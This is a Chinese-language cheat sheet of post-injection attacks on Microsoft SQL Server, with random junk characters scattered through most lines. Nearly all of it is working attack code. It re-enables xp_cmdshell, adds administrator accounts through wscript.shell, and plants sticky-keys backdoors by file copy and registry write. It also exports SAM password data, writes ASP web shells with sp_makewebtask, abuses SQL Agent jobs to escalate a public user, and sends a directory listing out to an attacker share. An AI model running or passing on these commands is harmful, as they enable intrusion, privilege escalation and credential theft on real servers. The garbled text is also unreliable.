1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
6 y( |+ u1 K5 A) q4 `恢复方法:查询分离器连接后,
' Q" @! V" o$ w第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 6 p* N/ y1 l* Q/ t* B
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' % Q: u( U0 p9 e. q7 \
然后按F5键命令执行完毕& O( {/ t; O" T( \- R
, b: g+ b2 a0 f* W2 W8 \
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
9 q9 r9 X1 ^0 |恢复方法:查询分离器连接后,
9 P8 x" g u0 }4 Z7 G0 d第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
) Z1 |, D' \1 P" S) R第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
0 g" d: \* ^+ q9 R5 G ?4 s) m然后按F5键命令执行完毕2 {/ ~" l1 l9 P! q5 I# f6 U6 e
! n9 Q5 I$ |; x3 }$ [: g2 d3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)0 N+ E; {9 C3 R) X( P# v2 {
恢复方法:查询分离器连接后,8 F: l a' O3 @
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'$ @& Q/ [1 L8 r
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
) a: K4 d: T7 b* R) g; c然后按F5键命令执行完毕* i% h ?0 U0 a% J! r% l0 x# D$ K& h
' `) D! y# u1 ]: j* S4 终极方法.
# D2 B7 X- B- |8 d如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
5 P& Z; \, N+ C, y4 t' c查询分离器连接后,: I6 N# S0 N) \
2000servser系统:, x( T6 `. n# f/ Z- p8 P" o
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
+ _/ b- z" O9 N) [8 a; U
* s; ^1 \/ l! A& Z7 Ideclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'" b; T# J& A, m, y
+ Y0 i' X6 {& v6 Hxp或2003server系统:
* f5 J7 x. B6 U7 T& h7 b T& x: Z; D" [; a4 `. j
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'5 N( \* @3 w3 j* I$ P5 h
5 x7 ]* L) w L3 [* _$ e2 Jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'7 i$ Z1 v3 N0 X
# G# V w1 z, v
# B; m! n1 _. a# |$ ^1 c
五个SHIFT
! k! z: B- _" r* Rdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';/ d5 [$ l" N- h: u$ s) W
+ ^. c. d5 x! M3 @declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
: n7 d E% f; F0 o1 k5 x: {* P. ~1 S0 ^1 L1 X! x5 I3 G
xp_cmdshell执行命令另一种方法
# m% W3 b& r/ M& C. N& [6 C$ J) Rdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
! o; Y& L2 t& s' J' M$ ?
% {4 o) Q# G% K& x+ I* i9 H判断存储扩展是否存在
l2 u( C4 \ N; n! f! @, ^/ RSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
3 W6 } {3 A t) Y1 i返回结果为1就OK4 Y8 n) {0 A, y" D2 G: y3 f. p. h
' b" z' \' f: n- r* ~% \, O. z$ x
5 }# r- v8 i* p) `
上传xplog70.dll恢复xp_cmdshell语句:
0 U/ p& G- e2 z# m; }0 p8 c9 ksp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'! O- k" N( ^/ r7 W
* z5 R$ ?+ @1 N' F- i8 @( x7 @) f$ {' i
否则上传xplog7.0.dll
* L( l5 {- h7 N9 b$ M$ a# X) HExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
$ [' p5 ^ R: C5 a D5 W! U& v0 W8 s( k
9 ]- B" P% @( X1 b5 y$ d4 |' u( I2 M1 ?0 `# P G- H
首先开启沙盘模式:. v% ] O5 s* c( @
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1" y7 a7 m5 w* Y5 [- @1 x' G
; v- o% ?- `$ z, v) W6 c然后利用jet.oledb执行系统命令
$ |+ V) [: I5 S! m6 b- f# @8 U3 wselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')' M% }% C9 Z- T& D, w5 S
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了/ Q7 |4 o& r& e$ k0 Q6 D) [. i
1 i9 x M9 f* s7 Z4 W: t6 @- X6 ^, Z3 p$ ^% w5 \
9 q) }1 c; e/ ]恢复过程sp_addextendedproc 如下: + W5 g K) G+ y3 N- c0 g. L
create procedure sp_addextendedproc --- 1996/08/30 20:13 8 t9 i7 j' ^6 D" s* ~
@functname nvarchar(517),/* (owner.)name of function to call */ 5 D. P: w" g. R$ U& i, _! _
@dllname varchar(255)/* name of DLL containing function */
: u3 B# i6 y {/ o6 w2 pas
% R$ E! b) N0 R4 U3 ~+ I% Wset implicit_transactions off
" S8 C- r. k# Aif @@trancount > 0
0 y$ Z/ u) Z% K2 Z4 tbegin
! }0 D+ o* f) c, o0 ~1 i/ draiserror(15002,-1,-1,'sp_addextendedproc') 6 }5 I) }7 a( Y8 G+ r# n# P
return (1) " b9 b; x: c7 V" U9 j% d, F
end
0 S3 a* |$ v- Q% h9 t" C3 Ddbcc addextendedproc( @functname, @dllname)
& W1 |9 y# p9 i0 ^- w3 g" H/ Jreturn (0) -- sp_addextendedproc
) n' n0 Q1 N7 I$ RGO
* K q3 J$ r( o# r8 D; {$ v6 S% }
+ A2 I8 {7 d8 h" A% D( O6 h
: x2 h4 }* Y3 `+ o( ^$ E8 _+ ]- [& Q$ [) W
导出管理员密码文件
- l" ]3 M/ J* \# lsa默认可以读sam键.应该。
. B( m7 p( d& m/ h6 q* dreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg8 s4 Y4 E1 u! n; ^/ ^% K/ C
net user administrator test
9 Q! r* ^8 f0 n. N用administrator登陆.2 L6 K7 b' Z4 }4 @0 \+ M, @; O% N/ F1 z
用完机器后
. G7 W6 }, ?7 {3 }5 p4 Vreg import c:\test.reg4 s$ }; [. T+ j5 ~0 Y7 B/ ^
根本不用克隆.
. e0 R7 p# B# L. i C找到对应的sid. 0 {% c# [" b, A8 {' x
, l$ T3 b, W6 ^. I4 V# R
% w5 ?2 `7 o) @3 c+ L& a1 I1 s# d, H, P+ D
恢复所有存储过程
: o- X( F8 U1 T6 _* |# t0 ~use master $ I, O; J% E" {. v% q
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' ' W6 W- R( C% F1 N4 P
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' ' _' `! |6 ]8 R) B# L* N
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
7 r( f9 r; l( Lexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
+ E- s9 A$ g$ f, G8 a8 g8 E/ Nexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
: ]7 H6 }7 Y" D* O. y* hexec sp_addextendedproc sp_OACreate,'odsole70.dll'
' j9 i% f+ p1 _, l# y+ N o3 Hexec sp_addextendedproc sp_OADestroy,'odsole70.dll' - x. F+ }" f3 I, u. D& Q2 U5 |
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
1 `$ W$ w% h! Mexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ( l: ]6 i0 u8 n7 W1 I# T: [0 H) i
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
0 G; D0 k% X2 t1 r1 Z; E! N9 yexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 1 y! O0 |. A6 J# @: |: y
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
& [/ T' j( A- H7 j" q; uexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 3 }1 l2 r4 \* W7 Z, J/ |: P
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
4 [& M- d4 M7 W0 U! i) |exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
& D! I' a2 Y9 z4 m1 W% j) d, T6 h" Nexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
1 N& B: ]/ C' k9 Y6 w4 V/ Yexec sp_addextendedproc xp_regread,'xpstar.dll' 2 N0 U3 D- w) K2 s
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
1 Q; K" L- s' H0 k9 Cexec sp_addextendedproc xp_regwrite,'xpstar.dll'
2 j& r" k5 y' i* |. Vexec sp_addextendedproc xp_availablemedia,'xpstar.dll': R: l: C& O0 h: L
4 o+ n1 _: }6 G* N" ^1 F
3 o H& ?5 L0 I- D5 [- I' L/ b建立读文件的存储过程- u: n& k% x# x1 K( z
Create proc sp_readTextFile @filename sysname
+ j% v" u1 Q" ]7 Q Oas
0 c+ m* S: M. Z; F4 L
6 N5 a# ~6 ^4 v: @8 t9 b begin
0 f; D6 H& `! ~- {+ S set nocount on + i; f4 ]- G0 d/ Y8 D3 W0 ?
Create table #tempfile (line varchar(8000))- j9 h- W* {6 Z s9 ` s
exec ('bulk insert #tempfile from "' + @filename + '"')
- Q; m8 J0 d: V/ r. q/ ?( U$ g select * from #tempfile
5 E! f$ \: Z* r+ ^1 @: K% U drop table #tempfile
# X( C2 ?1 _) Q! ]6 Q! ?; n& Y$ V, AEnd2 ^' t4 g- I/ H! H4 Q
* F' ?% ]7 J) ~) b1 O" j, {exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
$ Y4 P" n) } H查看登录用户& z* S8 _+ @2 @
Select * from sysxlogins
2 h5 a* M8 E0 _: j
6 e$ D% V" e/ |" a/ b- P把文件内容读取到表中3 m8 @) }9 v: D0 E) u
BULK INSERT tmp from "c:\test.txt"
# s; X, ~, |, o6 w j2 mdElete from 表名 清理表里的内容" v" y: O3 R! ^; i: }) B4 Q6 q
create table b_test(fn nvarchar(4000));建一个表,字段为fn; {+ m/ X6 |4 D) z( [8 x
8 E$ H I( D- | v* i# h. G
9 e5 M" Z. r5 ~# C加sa用户
7 g/ p& r2 p% y9 l$ ^5 q7 Z. ]' yexec master.dbo.sp_addlogin user,pass;
! q% I2 U m- O1 c& v7 Z, Gexec master.dbo.sp_addsrvrolemember user,sysadmin; d$ Q3 T9 b) W
: f- T0 {- }( K4 ^7 o6 |
+ r2 E8 V# l6 o! f6 H8 b- }
; c4 s2 g* x1 b v( m' y6 B1 l
读文件代码
* c) X8 |* u2 `/ a8 G7 S8 @2 Sdeclare @o int, @f int, @t int, @ret int
) s7 a2 |, U: e, W6 Udeclare @line varchar(8000)) q# h: o; v# l- r+ h. a+ y' e. V& z
exec sp_oacreate 'scripting.filesystemobject', @o out
0 F8 h& N- ~9 j2 xexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1& h' k2 c- q' T# O; g9 v7 j- |4 _
exec @ret = sp_oamethod @f, 'readline', @line out
% ?+ I0 N( p' Q% f* ^, Iwhile( @ret = 0 )
% n' W% ?" ^) ebegin
- k; \1 l* ~1 `! p' bprint @line
$ P" v6 t" w% o3 Xexec @ret = sp_oamethod @f, 'readline', @line out6 t' i9 ]3 S/ a5 I* @ a
end( w- {: z" f8 d6 y8 G
8 ?/ K4 r' i6 D8 j
8 v8 i! u& X5 O E4 J; M2 R2 }7 d写文件代码:& D3 \( Q9 R& d7 Q+ U+ D
declare @o int, @f int, @t int, @ret int
& V* N- b$ c0 ]: F9 }: Kexec sp_oacreate 'scripting.filesystemobject', @o out+ Y5 K# c/ p, ]. T
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
3 W& m+ O* m* v0 ]exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
; N: n' ?$ ^) A) i( v* l' I
$ E8 d0 `8 t# o+ p6 ]& f& k" s0 z1 G& B- Z0 u4 ]- e {
添加lake2 shell
6 P& D8 t' u! E! Q3 jsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
4 a8 V' F& Z& D! I! G8 Dsp_dropextendedproc xp_lake2+ z4 P# c( K+ w2 ~
EXEC xp_lake2 'net user'
$ d% m3 Q8 c2 @& |6 F
5 S9 G* h) }+ P# b' W; U' y: N9 ^! B1 k, }% ?
得到硬盘文件信息
8 U% B# q( v, `--参数说明:目录名,目录深度,是否显示文件
% C" e& D2 ]+ `! Q9 t" Y& ~1 C, L; Qexecute master..xp_dirtree 'c:' " B2 @5 o# s. p& G0 C7 d
execute master..xp_dirtree 'c:',1
, g: Y' R4 }: B5 J4 oexecute master..xp_dirtree 'c:',1,1 ! I6 ~; J8 ^1 L- c4 g, u
& d' S4 q, i7 W7 O" r7 i1 t5 x; x$ `& c+ l$ F' ?
读serv-u配置信息
+ N" r' y& k4 d: Q% a# p. o$ i' s4 Hexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'- b9 @4 W: u8 g& C: e4 m3 m& W# x
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
2 Z, P7 c6 s7 B4 k0 `. O3 ?: W" b% C$ {- g
通过xp_regwrite写SHIFT后门5 y2 T% A+ R* q' x8 B: C
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--- @2 H. Y0 t) `9 @
9 w* K7 [3 Z) M/ J) {- U t1 @ z& D) _6 \
( |/ B3 k% k8 m$ A, {
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
7 h, ~9 C+ `" m/ ~$ M$ P xexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了) N: [, U2 V+ v( q3 N: Z
, D/ g" b3 Q) k/ T lEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
2 J9 [! z3 i' y1 w. L! P
# j7 E R4 D* x8 r; k
( G2 O% L4 n U' R6 T0 U' b2 G8 A# c b. X
sql server 2005下开启xp_cmdshell的办法
' F4 B8 q+ o+ Y3 |6 v' J4 I0 J4 [; w7 q" i0 \6 T7 ^
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;" i9 M' _ A0 {1 Q
4 [% ?0 V6 u5 @; N. w. P( ~SQL2005开启'OPENROWSET'支持的方法:5 Y! Y) w" q8 ~9 A9 [' _& ?) Z' Q1 m
* V. F+ r {) r# bexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;4 b3 T) o; S" r! t; r
- |4 M4 j' I# {7 f) P- X, R ^
SQL2005开启'sp_oacreate'支持的方法:) u* Q8 V) ? U$ O7 n, T9 z
0 K2 T# C/ q' y
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;. [5 ^1 P# m: i) q( I" r
; g2 y r- U, `
, C" i. B3 i0 q/ p$ @
' W! R+ f* U- j* t3 q2 v# ^5 U# m* p' b+ M& @) Y
+ Z, q W0 k' ^% A
5 ~' c% L" N( c6 L% j7 A4 H. G& o ?, n5 V# L+ N
; j1 \6 I# H5 ?: O; {
- ~8 ?" w1 s& A) O6 j
% A1 Z: s* c1 ^% M& M: S
3 _6 Z. L2 t; |7 I9 F" J% x3 I! `8 G' h# l. ]
* d7 l, M( v/ g+ M6 H7 P3 O9 v/ |" [, Y) A
. [0 u) q7 e( j) Q5 i
( D. E) ~7 m. e* e. |. k6 E% ?6 B3 ~/ N W0 G- j/ d
% C& ~" L# g( N
( R& t7 g8 A) [/ M6 _, v9 ~
# r. @ y+ B4 l1 ~( k2 C; ~- H
. T4 P$ o( A7 s+ @% [
) H. _% v3 p% i1 N) I% B, ^9 Z1 u' D/ q& A
' M) E3 S; S s$ }! M X$ x
以下方面不知道能不能成功暂且留下研究哈:
' G4 A0 i- F2 \1 p4 @$ U4)1 |+ a: ~# ^4 V3 J# ~4 u$ T' q
use msdb; --这儿不要是master哟3 {* _+ z2 M L! s7 p& T
exec sp_add_job @job_name= czy82 ;+ |& Z. ?3 |! G5 \
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
( B( u3 Z( L: \) q/ e% W+ Nexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;: V8 y3 U, E& q3 Y# P+ a6 o) E
exec sp_start_job @job_name= czy82 ;, s8 e- }2 O9 ^7 _0 p/ E
- E& S6 x/ J& U: z
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以4 L. q$ b2 Y' b3 X3 I k9 p% c, d
执行tsql语句了.
/ p' z7 L. v q( e对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
2 g" i$ @* w3 R" K第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
8 C& j a" R8 c* ~2 q( f7 T6 ynet start SQLSERVERAGENT9 `. u1 i5 N2 t$ p8 O; d
" ^: ]: z' B9 i
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
8 I7 G8 E2 \) s1 e+ z* y- M! OUSE msdb! A4 W# ]& e# h' k- }8 c F8 [
EXEC sp_add_job @job_name = GetSystemOnSQL ,
8 J+ E+ l# T! a2 q$ g8 P3 S5 j@enabled = 1,
, I% C; b' s3 I$ Z@description = This will give a low privileged user access to* m9 S, a. |. l; k* L k" j5 J1 [: G
xp_cmdshell ,8 y5 B4 J; _. j* n5 G
@delete_level = 1
* |0 @3 R. \9 O& y0 b2 E$ lEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
% _$ r& W0 h, |2 C+ N- W@step_name = Exec my sql ,
N5 _, K; ~$ }% b& E ?@subsystem = TSQL ,/ E% y+ S$ a. M8 i
@command = exec master..xp_execresultset N select exec
' Z5 ]1 D' q; q7 p8 fmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ) u( Y6 }. N' ]4 a0 t/ g& V# c
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
# ^0 H& m1 d; o$ Y5 g: Z, T! E K$ F/ Z@server_name = 你的SQL的服务器名 ) Y" j) N3 l. F5 U
EXEC sp_start_job @job_name = GetSystemOnSQL ) u, d y! n5 H6 i) Q8 [4 z% k6 x
7 f1 m; Y! q# P; F不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
1 D( G- V% ?6 j' B才让我们可以以public执行xp_cmdshell: S* V/ y. ?: I, j
4 j$ y% l& B! O* l
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)) y- H( W# d. p8 x& M: {4 D
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
1 B8 M' g, w, S
?% u8 s( c( Y' s" Y: j- VUSE msdb
, s/ f7 G; P- w b) _+ s; hEXEC sp_add_job @job_name = ArbitraryFilecreate ,
1 c* s1 ?% \0 m6 \@enabled = 1,
- m/ a8 T$ Y/ N8 S- k2 }3 c@description = This will create a file called c:\sqlafc123.txt ,; d8 O' F: {& p- l" l! X7 o
@delete_level = 1" B0 B, m. ^" j7 X& k8 S6 B
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
& o( C, C0 _/ z/ i, b* {@step_name = SQLAFC ,1 A9 I; }% ?. B/ ^+ p/ }/ f
@subsystem = TSQL ,
: r2 X$ M+ B/ {& g# @$ s@command = select hello, this file was created by the SQL Agent. ,6 o) h9 w$ p3 {5 k( D
@output_file_name = c:\sqlafc123.txt % z# `, c' [* F
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,: j7 f2 E- `- z# a! k1 J
@server_name = SERVER_NAME 0 e. V$ X. w* X# x- @
EXEC sp_start_job @job_name = ArbitraryFilecreate 5 p+ V) r, a, \4 y
: I$ D; q) h8 _+ _; f如果subsystem选的是:tsql,在生成的文件的头部有如下内容# \. r9 H+ V) ^7 J4 Q, Z/ m
' m! M5 {/ }# ?1 J4 B7 O
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19- e% k: f0 K* Q& ]- ]: s
----------------------------------------------. ?0 n* z- ?. Y
hello, this file was created by the SQL Agent.
; e; w. P N" J' a! R. w& x! [
/ n v5 P( M8 d(1 ?????)$ ~. i! R, F$ R5 U( \7 u
1 ?% _ o( k+ ~. i6 j$ q6 K
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
: T, x* x! W8 X; {" J4 X命令的vbs文件到启动目录!
8 X" a P! w% C0 S' _ l* r
0 e1 b* I: |& F5 n+ K5 S" i6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
i: Z r; l$ P- m. h! n( `关于sp_MScopyscriptfile 看下面的例子( {+ b6 m3 G& ~( o- y
declare @command varchar(100) $ h6 v; M" ^. M3 b
declare @scripfile varchar(200)
* {- n# r" j+ F% C7 z1 f3 i. Wset concat_null_yields_null off 7 C+ j5 w2 i: P; \
select @command= dir c:\ > "\\attackerip\share\dir.txt" ) t9 s1 q& @3 Y7 ?, ]
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 2 C2 g3 M5 d, H. J- l* W/ u
exec sp_MScopyscriptfile @scripfile , 6 K! }3 P9 P3 Y) b3 ?* K
3 T* `4 c* f6 t8 A, O
这两个东东都还在测试试哟/ [9 K" e4 c5 \' `9 T
让MSSQL的public用户得到一个本机的web shell4 f' ]7 O0 L. ?3 R( s' U( ?
4 @7 y# x! o% V5 x0 @; h' Msp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,& r0 |2 G; f# |6 ~2 b
--@query= select <img src=vbscript:msgbox(now())>
4 R/ {7 b% t8 j0 e b--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> & n4 m. E* x5 B9 l
@query= select 7 N+ }+ W3 P$ U- i5 O
<%On Error Resume Next / n3 |) l1 I$ L# ]% G4 L6 ^. b: T
Set oscript = Server.createObject("wscript.SHELL")
4 H1 h- m/ L/ |7 U6 FSet oscriptNet = Server.createObject("wscript.NETWORK") 6 v! P6 L$ \% ~) F3 a, O
Set oFileSys = Server.createObject("scripting.FileSystemObject") ' N6 F( q+ h" w* X ]7 V
szCMD = Request.Form(".CMD")
, x+ D5 T* X# r) e# lIf (szCMD <>"")Then
/ U; R- s2 {0 OszTempFile = "C:\" & oFileSys.GetTempName()
+ F. G$ O! I7 B5 v. BCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
) J7 Z( y; z. sSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) , @5 |/ B( c- N" O* a& Y- R6 T' x
End If %>
k7 J# k) E4 `- b. k<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
8 N$ g" y F7 E7 K" n5 ]<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
2 j/ U7 l1 E/ f: C) s</FORM><RE>
* `6 i1 i ^- N8 t' X+ d<% If (IsObject(oFile))Then
: o8 }5 _) b8 r$ ]+ Z, ~On Error Resume Next 0 o" G3 C7 y( U7 i& H3 e5 }
Response.Write Server.HTMLEncode(oFile.ReadAll) 3 w! u N+ a8 q0 C% p( u
oFile.Close + _* o# k/ S/ [1 ?
Call oFileSys.deleteFile(szTempFile, True)
/ l2 R0 f3 @$ f, l8 FEnd If%>
3 A0 a0 w1 E# |; M8 L</BODY></HTML> # W H7 r. V' j1 x4 Z' o# d, `
|